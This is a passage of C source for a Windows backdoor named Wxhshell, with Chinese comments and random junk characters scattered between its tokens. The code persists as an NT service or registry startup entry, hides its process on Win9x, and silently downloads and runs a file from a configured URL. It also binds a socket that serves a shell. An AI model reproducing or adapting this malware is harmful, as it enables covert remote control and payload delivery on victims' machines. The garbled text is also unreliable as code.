CloseHandle(hProcess); H^Mfj!S 5VS};&f if(strstr(procName,"services")) return 1; // 以服务启动 Ie<H4G5Vh gg0rkg return 0; // 注册表启动 -gQtw%
`x } 3# g"Z7/ Gye84C2E= // 主模块 CyfrnU8g int StartWxhshell(LPSTR lpCmdLine) 58S qB { >^=;b5I2K SOCKET wsl; 1+F0$<e} BOOL val=TRUE; .B+Bl/ int port=0; (jyT9'*wAT struct sockaddr_in door; /IxoS (U{,D1? if(wscfg.ws_autoins) Install(); Z5j\ M @Ojbu@A port=atoi(lpCmdLine); t !8(I R YujR}=B!/ if(port<=0) port=wscfg.ws_port; *M? [Gro/ ~|lEi1| WSADATA data; 6%a9%Is!O if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -Qy@-s $ A=Y A #0 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ;tJ}*!z
W setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .Ei#mG-=}& door.sin_family = AF_INET; }WA= door.sin_addr.s_addr = inet_addr("127.0.0.1"); }>5R9 door.sin_port = htons(port); HUFm@? =Lh8#>T\h if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |C"zK closesocket(wsl); 9xN` return 1; `@<~VWe5 } WaPuJ5;e &gg Om if(listen(wsl,2) == INVALID_SOCKET) { Zg*XbX closesocket(wsl); *V`E)maU return 1; ;b5^)S } p
uZY4}b_ Wxhshell(wsl);
@+6cKP WSACleanup(); d[\$a4G+ y$}o{VE{x return 0; |2Y/l~ Gw$Y`]ipy } 4wkmgS
A-eRL` // 以NT服务方式启动 !X5LgMw^ ; VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Akdx1h, { u}">b+{! DWORD status = 0; H %Dcp#k DWORD specificError = 0xfffffff; 4Uk\h gT0 z j F'CY serviceStatus.dwServiceType = SERVICE_WIN32; e#AmtheZR serviceStatus.dwCurrentState = SERVICE_START_PENDING; XxY wBc'pc serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hAV@/oQ serviceStatus.dwWin32ExitCode = 0; \>\_OfY1W serviceStatus.dwServiceSpecificExitCode = 0; vn+~P9SHQ serviceStatus.dwCheckPoint = 0; :caXQ) serviceStatus.dwWaitHint = 0; ri2`M\;gt kz"QS.${ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h+!@`c>)Y if (hServiceStatusHandle==0) return;
/ M@[ 8 FfX*bqy status = GetLastError(); v@d]*TG if (status!=NO_ERROR) <^w4+5sT/ { b&*)C#7/T serviceStatus.dwCurrentState = SERVICE_STOPPED; ;d.gVR_V serviceStatus.dwCheckPoint = 0; ]i/Bq!d l serviceStatus.dwWaitHint = 0; M+VAol}1 serviceStatus.dwWin32ExitCode = status; Zet80|q serviceStatus.dwServiceSpecificExitCode = specificError; |\U 5m6 q SetServiceStatus(hServiceStatusHandle, &serviceStatus); >|pN4FS return; 8Sk$o.Gy } 8
KRo< Zg4kO;r08 serviceStatus.dwCurrentState = SERVICE_RUNNING; =`k',V_ serviceStatus.dwCheckPoint = 0; {pXqw'"1. serviceStatus.dwWaitHint = 0; T<%%f.x[s if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p=[SDk` } tH(g;flO) cl'wQ1<:
// 处理NT服务事件,比如:启动、停止 'si{6t| VOID WINAPI NTServiceHandler(DWORD fdwControl) ,B:r^(}0j { /?1^&a switch(fdwControl) [a!)w@I: { ]m :Y|,:6 case SERVICE_CONTROL_STOP: -Rwx`=6tV serviceStatus.dwWin32ExitCode = 0; HPXJRQBE serviceStatus.dwCurrentState = SERVICE_STOPPED; !mZWd' serviceStatus.dwCheckPoint = 0; wg4Ol*y' serviceStatus.dwWaitHint = 0; o;u~Yg { (e#f SetServiceStatus(hServiceStatusHandle, &serviceStatus); .JBTU>1]_n } *LEI@ return; } "&Ye case SERVICE_CONTROL_PAUSE: y" |gC!V} serviceStatus.dwCurrentState = SERVICE_PAUSED; C[,&Y&`j break; K@vU_x0Sl case SERVICE_CONTROL_CONTINUE: 9/=+2SZ serviceStatus.dwCurrentState = SERVICE_RUNNING; i}O.,iH break; _`.Q7 case SERVICE_CONTROL_INTERROGATE: !tSh9L;<O break; d+nxvh?I8 }; c=D~hz N SetServiceStatus(hServiceStatusHandle, &serviceStatus); L+CPT } @V Sr'?7- :_h#A}8Xd // 标准应用程序主函数 Ek60[a int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q<K/q"0-l { '?6j.ms
M ,hWuAu6.L // 获取操作系统版本 m:c0S8#: OsIsNt=GetOsVer(); Svdmg D! GetModuleFileName(NULL,ExeFile,MAX_PATH); q7pe\~q RWFvf // 从命令行安装 S4pEBbV^n if(strpbrk(lpCmdLine,"iI")) Install(); x2f=o|]D' BDCyeC,Q3 // 下载执行文件 4Ik'beZqK if(wscfg.ws_downexe) { X%T%N;P if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Bh&dV%' WinExec(wscfg.ws_filenam,SW_HIDE); ByacSN } 6#Rco%07zI 5z:#Bl-,L if(!OsIsNt) { _}cD_$D // 如果时win9x,隐藏进程并且设置为注册表启动 j^/=.cD| HideProc(); :%h|i&B
StartWxhshell(lpCmdLine); . I."q } s{*bFA Z1F else 7nsovWp if(StartFromService()) UjMWSPEBy // 以服务方式启动 ZSr!L@S StartServiceCtrlDispatcher(DispatchTable); ?g:sAR' else `fE'$2 // 普通方式启动 -e>Z!0 StartWxhshell(lpCmdLine); xW7[ VTXc^ 99"8d^{z return 0; G E? \Vm }
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